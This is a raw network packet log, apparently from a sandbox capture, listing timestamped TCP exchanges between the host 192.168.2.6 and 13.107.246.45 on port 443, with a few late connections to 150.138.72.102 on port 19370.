Oct 17, 2024 18:19:14.454303026 CEST	52184	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.454327106 CEST	443	52184	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.454339027 CEST	443	52184	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.468420029 CEST	52204	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.468470097 CEST	443	52204	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.470055103 CEST	52204	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.481673956 CEST	52204	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.481705904 CEST	443	52204	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.524913073 CEST	443	52187	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.525120974 CEST	443	52187	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.525260925 CEST	52187	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.531461954 CEST	52187	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.531478882 CEST	443	52187	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.531498909 CEST	52187	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.531505108 CEST	443	52187	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.538000107 CEST	52205	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.538091898 CEST	443	52205	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.538183928 CEST	52205	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.538887978 CEST	52205	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.538921118 CEST	443	52205	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.732438087 CEST	443	52200	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.743823051 CEST	52200	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.743882895 CEST	443	52200	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.743993998 CEST	52200	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.744008064 CEST	443	52200	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.784665108 CEST	443	52201	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.788023949 CEST	52201	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.788103104 CEST	443	52201	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.788456917 CEST	52201	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.788472891 CEST	443	52201	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.868942022 CEST	443	52200	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.868972063 CEST	443	52200	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.869048119 CEST	52200	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.869112968 CEST	443	52200	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.869631052 CEST	443	52200	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.869743109 CEST	52200	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.875817060 CEST	52200	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.875850916 CEST	443	52200	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.927788019 CEST	443	52201	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.927949905 CEST	443	52201	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.928008080 CEST	52201	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.939521074 CEST	52236	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.939620018 CEST	443	52236	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.939814091 CEST	52236	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.940270901 CEST	52201	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.940315962 CEST	443	52201	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.940512896 CEST	52201	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.940530062 CEST	443	52201	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.959358931 CEST	52236	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.959423065 CEST	443	52236	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.965601921 CEST	52240	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.965639114 CEST	443	52240	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.965694904 CEST	52240	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.966798067 CEST	52240	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.966813087 CEST	443	52240	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.224951029 CEST	443	52204	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.239641905 CEST	52204	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.239665031 CEST	443	52204	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.240034103 CEST	52204	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.240037918 CEST	443	52204	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.315239906 CEST	443	52205	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.317806005 CEST	52205	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.317848921 CEST	443	52205	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.318211079 CEST	52205	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.318219900 CEST	443	52205	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.370177031 CEST	443	52204	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.370199919 CEST	443	52204	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.370274067 CEST	52204	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.370285988 CEST	443	52204	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.370332956 CEST	52204	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.379352093 CEST	52204	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.379412889 CEST	443	52204	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.379440069 CEST	52204	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.379450083 CEST	443	52204	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.412939072 CEST	52271	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.412991047 CEST	443	52271	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.413115978 CEST	52271	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.415429115 CEST	52271	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.415448904 CEST	443	52271	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.475578070 CEST	443	52205	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.475611925 CEST	443	52205	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.475673914 CEST	443	52205	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.475708008 CEST	52205	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.475754023 CEST	52205	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.487730026 CEST	52205	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.487771034 CEST	443	52205	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.487790108 CEST	52205	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.487797022 CEST	443	52205	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.490818024 CEST	52272	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.490844965 CEST	443	52272	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.490919113 CEST	52272	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.494879007 CEST	52272	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.494893074 CEST	443	52272	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.705573082 CEST	443	52236	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.712567091 CEST	52236	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.712589025 CEST	443	52236	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.713118076 CEST	52236	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.713121891 CEST	443	52236	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.741782904 CEST	443	52240	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.744740009 CEST	52240	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.744760990 CEST	443	52240	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.746267080 CEST	52240	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.746279001 CEST	443	52240	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.838680983 CEST	443	52236	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.838706970 CEST	443	52236	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.838809013 CEST	52236	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.838833094 CEST	443	52236	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.839051008 CEST	443	52236	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.839118004 CEST	52236	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.840728998 CEST	52236	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.840742111 CEST	443	52236	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.840780020 CEST	52236	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.840785980 CEST	443	52236	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.851314068 CEST	52279	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.851366043 CEST	443	52279	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.851443052 CEST	52279	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.852772951 CEST	52279	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.852787018 CEST	443	52279	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.880492926 CEST	443	52240	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.880520105 CEST	443	52240	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.880578041 CEST	443	52240	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.880595922 CEST	52240	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.880649090 CEST	52240	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.886307955 CEST	52240	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.886329889 CEST	443	52240	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.886343002 CEST	52240	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.886348963 CEST	443	52240	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.903074980 CEST	52280	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.903119087 CEST	443	52280	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.903183937 CEST	52280	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.933810949 CEST	52280	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.933826923 CEST	443	52280	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.939404964 CEST	51693	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.959137917 CEST	52281	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.959176064 CEST	443	52281	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:15.959342957 CEST	52281	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.959527016 CEST	52281	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:15.959539890 CEST	443	52281	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.171430111 CEST	443	52271	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.235332966 CEST	443	52272	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.241585016 CEST	52271	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.241609097 CEST	443	52271	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.242350101 CEST	52271	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.242357016 CEST	443	52271	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.259002924 CEST	52272	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.259051085 CEST	443	52272	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.259622097 CEST	52272	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.259634018 CEST	443	52272	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.369891882 CEST	443	52271	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.370095968 CEST	443	52271	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.370152950 CEST	52271	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.380506039 CEST	52271	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.380536079 CEST	443	52271	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.380564928 CEST	52271	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.380570889 CEST	443	52271	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.405765057 CEST	52294	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.405863047 CEST	443	52294	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.405946016 CEST	52294	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.407751083 CEST	52294	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.407783031 CEST	443	52294	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.409638882 CEST	443	52272	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.409787893 CEST	443	52272	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.409959078 CEST	52272	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.410104036 CEST	52272	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.410142899 CEST	443	52272	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.410173893 CEST	52272	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.410190105 CEST	443	52272	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.451275110 CEST	52295	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.451319933 CEST	443	52295	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.451380968 CEST	52295	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.457336903 CEST	52295	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.457350969 CEST	443	52295	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.610492945 CEST	443	52279	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.648705959 CEST	52279	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.648775101 CEST	443	52279	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.649238110 CEST	52279	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.649254084 CEST	443	52279	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.667068958 CEST	443	52280	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.686713934 CEST	52280	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.686737061 CEST	443	52280	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.687793970 CEST	52280	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.687802076 CEST	443	52280	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.695628881 CEST	443	52281	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.695733070 CEST	52281	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.697171926 CEST	52281	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.697187901 CEST	443	52281	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.697443008 CEST	443	52281	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.699001074 CEST	52281	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.743403912 CEST	443	52281	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.777400017 CEST	443	52279	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.777570009 CEST	443	52279	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.777647018 CEST	52279	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.814133883 CEST	443	52280	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.814403057 CEST	443	52280	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.814495087 CEST	52280	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.827903032 CEST	443	52281	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.827933073 CEST	443	52281	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.827990055 CEST	443	52281	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.828066111 CEST	52281	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.828066111 CEST	52281	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.872982979 CEST	52279	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.872982979 CEST	52279	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:16.873056889 CEST	443	52279	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:16.873087883 CEST	443	52279	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.110399961 CEST	52280	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.110435963 CEST	443	52280	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.110451937 CEST	52280	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.110459089 CEST	443	52280	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.113815069 CEST	52296	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.113873005 CEST	443	52296	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.114101887 CEST	52296	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.114268064 CEST	52296	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.114285946 CEST	443	52296	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.114430904 CEST	52281	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.114430904 CEST	52281	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.114454985 CEST	443	52281	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.114468098 CEST	443	52281	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.118014097 CEST	52297	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.118062019 CEST	443	52297	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.118367910 CEST	52297	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.134784937 CEST	52297	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.134818077 CEST	443	52297	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.136800051 CEST	52298	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.136850119 CEST	443	52298	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.136945009 CEST	52298	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.137221098 CEST	52298	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.137231112 CEST	443	52298	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.166070938 CEST	443	52294	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.166165113 CEST	52294	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.188667059 CEST	52294	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.188745975 CEST	443	52294	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.189215899 CEST	443	52294	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.190130949 CEST	52294	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.225977898 CEST	443	52295	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.226066113 CEST	52295	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.235410929 CEST	443	52294	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.241806030 CEST	52295	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.241837025 CEST	443	52295	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.242219925 CEST	443	52295	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.243191004 CEST	52295	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.287396908 CEST	443	52295	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.354995966 CEST	443	52294	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.355030060 CEST	443	52294	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.355103970 CEST	443	52294	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.355114937 CEST	52294	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.355161905 CEST	52294	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.367712975 CEST	52294	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.367753983 CEST	443	52294	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.367770910 CEST	52294	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.367778063 CEST	443	52294	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.421035051 CEST	52299	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.421108007 CEST	443	52299	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.421226978 CEST	52299	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.425514936 CEST	52299	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.425535917 CEST	443	52299	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.494304895 CEST	443	52295	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.494350910 CEST	443	52295	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.494366884 CEST	443	52295	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.494410992 CEST	52295	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.494445086 CEST	443	52295	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.494467974 CEST	52295	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.494493961 CEST	52295	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.498236895 CEST	443	52295	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.498327971 CEST	52295	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.498332024 CEST	443	52295	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.498377085 CEST	52295	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.507889986 CEST	52295	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.507926941 CEST	443	52295	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.507941961 CEST	52295	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.507949114 CEST	443	52295	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.521193981 CEST	52300	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.521265984 CEST	443	52300	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.521327019 CEST	52300	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.521544933 CEST	52300	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.521562099 CEST	443	52300	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.871735096 CEST	443	52296	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.874538898 CEST	52296	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.874572992 CEST	443	52296	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.875309944 CEST	52296	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.875322104 CEST	443	52296	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.893404961 CEST	443	52298	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.894056082 CEST	52298	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.894068956 CEST	443	52298	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.894260883 CEST	52298	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.894265890 CEST	443	52298	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.922452927 CEST	443	52297	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.933669090 CEST	52297	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.933670044 CEST	52297	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:17.933705091 CEST	443	52297	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:17.933722973 CEST	443	52297	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.015666008 CEST	443	52296	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.015693903 CEST	443	52296	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.015757084 CEST	52296	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.015784979 CEST	443	52296	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.015994072 CEST	443	52296	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.016052008 CEST	52296	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.018954992 CEST	52296	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.018973112 CEST	443	52296	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.025895119 CEST	52301	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.025998116 CEST	443	52301	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.026087046 CEST	52301	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.027295113 CEST	52301	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.027348995 CEST	443	52301	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.034481049 CEST	443	52298	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.034504890 CEST	443	52298	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.034616947 CEST	52298	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.034641981 CEST	443	52298	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.034837008 CEST	52298	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.034889936 CEST	52298	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.034889936 CEST	52298	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.034897089 CEST	443	52298	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.035056114 CEST	443	52298	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.035089970 CEST	443	52298	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.035373926 CEST	52298	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.038238049 CEST	52302	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.038280010 CEST	443	52302	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.038448095 CEST	52302	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.038600922 CEST	52302	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.038614035 CEST	443	52302	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.076447964 CEST	52303	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:18.081372023 CEST	19370	52303	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:18.081695080 CEST	52303	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:18.082312107 CEST	52303	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:18.087555885 CEST	19370	52303	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:18.155693054 CEST	52303	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:18.161974907 CEST	19370	52303	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:18.162431002 CEST	443	52299	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.163806915 CEST	52299	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.163840055 CEST	443	52299	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.164319992 CEST	52299	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.164330006 CEST	443	52299	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.193650007 CEST	443	52297	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.193715096 CEST	443	52297	13.107.246.45	192.168.2.6
